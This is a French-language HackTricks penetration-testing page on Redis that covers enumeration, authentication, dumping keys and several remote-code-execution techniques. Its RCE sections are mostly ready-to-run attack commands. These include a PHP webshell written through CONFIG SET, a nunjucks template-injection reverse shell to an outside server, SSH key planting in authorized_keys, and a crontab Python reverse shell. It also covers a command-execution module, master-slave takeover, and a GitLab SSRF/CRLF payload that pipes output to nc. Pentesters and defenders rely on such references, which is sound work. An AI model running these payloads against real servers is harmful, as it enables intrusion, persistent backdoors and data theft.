hacktricks/network-services-pentesting/6379-pentesting-redis.md

20 KiB
Raw Blame History

6379 - Pentesting Redis

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Informations de base

D'après la documentation : Redis est un magasin de structures de données open source (licence BSD), en mémoire, utilisé comme base de données, cache et courtier de messages.

Par défaut, Redis utilise un protocole basé sur du texte brut, mais vous devez garder à l'esprit qu'il peut également implémenter ssl/tls. Apprenez à exécuter Redis avec ssl/tls ici.

Port par défaut : 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Enumeration automatique

Certains outils automatisés qui peuvent aider à obtenir des informations d'une instance redis :

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Manual Enumeration

Banner

Redis est un protocole basé sur du texte, vous pouvez simplement envoyer la commande dans un socket et les valeurs retournées seront lisibles. N'oubliez pas que Redis peut fonctionner en utilisant ssl/tls (mais c'est très étrange).

Dans une instance Redis régulière, vous pouvez simplement vous connecter en utilisant nc ou vous pouvez également utiliser redis-cli:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

La première commande que vous pourriez essayer est info. Elle peut renvoyer une sortie avec des informations sur l'instance Redis ou quelque chose comme ce qui suit est renvoyé :

-NOAUTH Authentication required.

Dans ce dernier cas, cela signifie que vous avez besoin de credentials valides pour accéder à l'instance Redis.

Authentification Redis

Par défaut, Redis peut être accessible sans credentials. Cependant, il peut être configuré pour ne prendre en charge que le mot de passe, ou le nom d'utilisateur + mot de passe.
Il est possible de définir un mot de passe dans le fichier redis.conf avec le paramètre requirepass ou temporairement jusqu'à ce que le service redémarre en se connectant et en exécutant : config set requirepass p@ss$12E45.
De plus, un nom d'utilisateur peut être configuré dans le paramètre masteruser à l'intérieur du fichier redis.conf.

{% hint style="info" %} Si seul le mot de passe est configuré, le nom d'utilisateur utilisé est "default".
De plus, notez qu'il n'y a aucun moyen de trouver de manière externe si Redis a été configuré avec seulement un mot de passe ou un nom d'utilisateur + mot de passe. {% endhint %}

Dans des cas comme celui-ci, vous devrez trouver des credentials valides pour interagir avec Redis, donc vous pourriez essayer de brute-force cela.
Dans le cas où vous avez trouvé des credentials valides, vous devez authentifier la session après avoir établi la connexion avec la commande :

AUTH <username> <password>

Des identifiants valides seront répondus par : +OK

Énumération authentifiée

Si le serveur Redis permet des connexions anonymes ou si vous avez obtenu des identifiants valides, vous pouvez initier le processus d'énumération pour le service en utilisant les commandes suivantes :

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

D'autres commandes Redis peuvent être trouvées ici et ici.

Notez que les commandes Redis d'une instance peuvent être renommées ou supprimées dans le fichier redis.conf. Par exemple, cette ligne supprimera la commande FLUSHDB :

rename-command FLUSHDB ""

Plus d'informations sur la configuration sécurisée d'un service Redis ici : https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Vous pouvez également surveiller en temps réel les commandes Redis exécutées avec la commande monitor ou obtenir les 25 requêtes les plus lentes avec slowlog get 25

Trouvez plus d'informations intéressantes sur d'autres commandes Redis ici : https://lzone.de/cheat-sheet/Redis

Dumping Database

À l'intérieur de Redis, les bases de données sont des numéros commençant à 0. Vous pouvez vérifier si l'une d'elles est utilisée dans la sortie de la commande info dans le bloc "Keyspace" :

Ou vous pouvez simplement obtenir tous les keyspaces (bases de données) avec :

INFO keyspace

Dans cet exemple, les bases de données 0 et 1 sont utilisées. La base de données 0 contient 4 clés et la base de données 1 en contient 1. Par défaut, Redis utilisera la base de données 0. Pour effectuer un dump de la base de données 1, vous devez faire :

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

En cas d'erreur suivante -WRONGTYPE Operation against a key holding the wrong kind of value lors de l'exécution de GET <KEY>, c'est parce que la clé peut être autre chose qu'une chaîne ou un entier et nécessite un opérateur spécial pour l'afficher.

Pour connaître le type de la clé, utilisez la commande TYPE, exemple ci-dessous pour les clés de liste et de hachage.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Dump the database with npm redis-dump or python redis-utils

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de bugs !

Hacking Insights
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking

Real-Time Hack News
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des insights en temps réel

Latest Announcements
Restez informé des nouvelles chasses aux bugs lancées et des mises à jour cruciales des plateformes

Join us on Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

Redis RCE

Interactive Shell

redis-rogue-server peut automatiquement obtenir un shell interactif ou un shell inversé dans Redis(<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Info de ici. Vous devez connaître le chemin du dossier du site Web :

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Si l'exception d'accès au webshell se produit, vous pouvez vider la base de données après sauvegarde et réessayer, n'oubliez pas de restaurer la base de données.

Template Webshell

Comme dans la section précédente, vous pouvez également écraser un fichier de modèle html qui va être interprété par un moteur de template et obtenir un shell.

Par exemple, suivant ce rapport, vous pouvez voir que l'attaquant a injecté un rev shell dans un html interprété par le moteur de template nunjucks :

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

{% hint style="warning" %} Notez que plusieurs moteurs de template mettent en cache les templates en mémoire, donc même si vous les écrasez, le nouveau ne sera pas exécuté. Dans ces cas, soit le développeur a laissé le rechargement automatique actif, soit vous devez effectuer un DoS sur le service (et vous attendre à ce qu'il soit relancé automatiquement). {% endhint %}

SSH

Exemple d'ici

Veuillez noter que le résultat de config get dir peut être modifié après d'autres commandes d'exploitation manuelles. Il est conseillé de l'exécuter en premier juste après la connexion à Redis. Dans la sortie de config get dir, vous pourriez trouver le dossier de l'utilisateur redis (généralement /var/lib/redis ou /home/redis/.ssh), et en sachant cela, vous savez où vous pouvez écrire le fichier authenticated_users pour accéder via ssh avec l'utilisateur redis. Si vous connaissez le dossier d'un autre utilisateur valide où vous avez des permissions d'écriture, vous pouvez également en abuser :

  1. Générez une paire de clés ssh publique-privée sur votre pc : ssh-keygen -t rsa
  2. Écrivez la clé publique dans un fichier : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. Importez le fichier dans redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Enregistrez la clé publique dans le fichier authorized_keys sur le serveur redis :
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Enfin, vous pouvez ssh au serveur redis avec la clé privée : ssh -i id_rsa redis@10.85.0.52

Cette technique est automatisée ici : https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

L'exemple final est pour Ubuntu, pour Centos, la commande ci-dessus devrait être : redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Cette méthode peut également être utilisée pour gagner des bitcoins : yam

Charger le module Redis

  1. En suivant les instructions de https://github.com/n0b0dyCN/RedisModules-ExecuteCommand, vous pouvez compiler un module redis pour exécuter des commandes arbitraires.
  2. Ensuite, vous avez besoin d'un moyen pour télécharger le module compilé.
  3. Chargez le module téléchargé à l'exécution avec MODULE LOAD /path/to/mymodule.so.
  4. Listez les modules chargés pour vérifier qu'il a été correctement chargé : MODULE LIST.
  5. Exécutez des commandes :
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Déchargez le module quand vous le souhaitez : MODULE UNLOAD mymodule.

Contournement du bac à sable LUA

Ici, vous pouvez voir que Redis utilise la commande EVAL pour exécuter du code Lua en bac à sable. Dans le post lié, vous pouvez voir comment en abuser en utilisant la fonction dofile, mais apparemment, cela n'est plus possible. Quoi qu'il en soit, si vous pouvez contourner le bac à sable Lua, vous pourriez exécuter des commandes arbitraires sur le système. De plus, dans le même post, vous pouvez voir quelques options pour provoquer un DoS.

Quelques CVE pour échapper à LUA :

Module Maître-Esclave

Le maître redis synchronise automatiquement toutes les opérations avec l'esclave redis, ce qui signifie que nous pouvons considérer la vulnérabilité redis comme un esclave redis, connecté au maître redis que nous contrôlons, puis nous pouvons entrer la commande dans notre propre redis.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF parlant à Redis

Si vous pouvez envoyer une requête en texte clair à Redis, vous pouvez communiquer avec lui car Redis lira ligne par ligne la requête et répondra simplement par des erreurs aux lignes qu'il ne comprend pas :

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Donc, si vous trouvez une vulnérabilité SSRF sur un site web et que vous pouvez contrôler certains en-têtes (peut-être avec une vulnérabilité CRLF) ou des paramètres POST, vous serez en mesure d'envoyer des commandes arbitraires à Redis.

Exemple : Gitlab SSRF + CRLF vers Shell

Dans Gitlab11.4.7, une vulnérabilité SSRF et une vulnérabilité CRLF ont été découvertes. La vulnérabilité SSRF se trouvait dans la fonctionnalité d'importation de projet à partir d'URL lors de la création d'un nouveau projet et permettait d'accéder à des IPs arbitraires sous la forme [0:0:0:0:0:ffff:127.0.0.1] (cela accédera à 127.0.0.1), et la vulnérabilité CRLF a été exploitée en ajoutant des caractères %0D%0A à l'URL.

Par conséquent, il était possible de profiter de ces vulnérabilités pour communiquer avec l'instance Redis qui gère les files d'attente de gitlab et d'abuser de ces files d'attente pour obtenir une exécution de code. Le payload d'abus de la file d'attente Redis est :

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

Et la requête URL encode abusant de SSRF et CRLF pour exécuter un whoami et renvoyer la sortie via nc est :

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Pour une raison quelconque (comme pour l'auteur de https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ d'où proviennent ces informations), l'exploitation a fonctionné avec le schéma git et non avec le schéma http.

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de bugs !

Aperçus de Hacking
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du hacking

Actualités de Hacking en Temps Réel
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel

Dernières Annonces
Restez informé des nouveaux programmes de bug bounty lancés et des mises à jour cruciales des plateformes

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

{% hint style="success" %} Apprenez et pratiquez le Hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le Hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}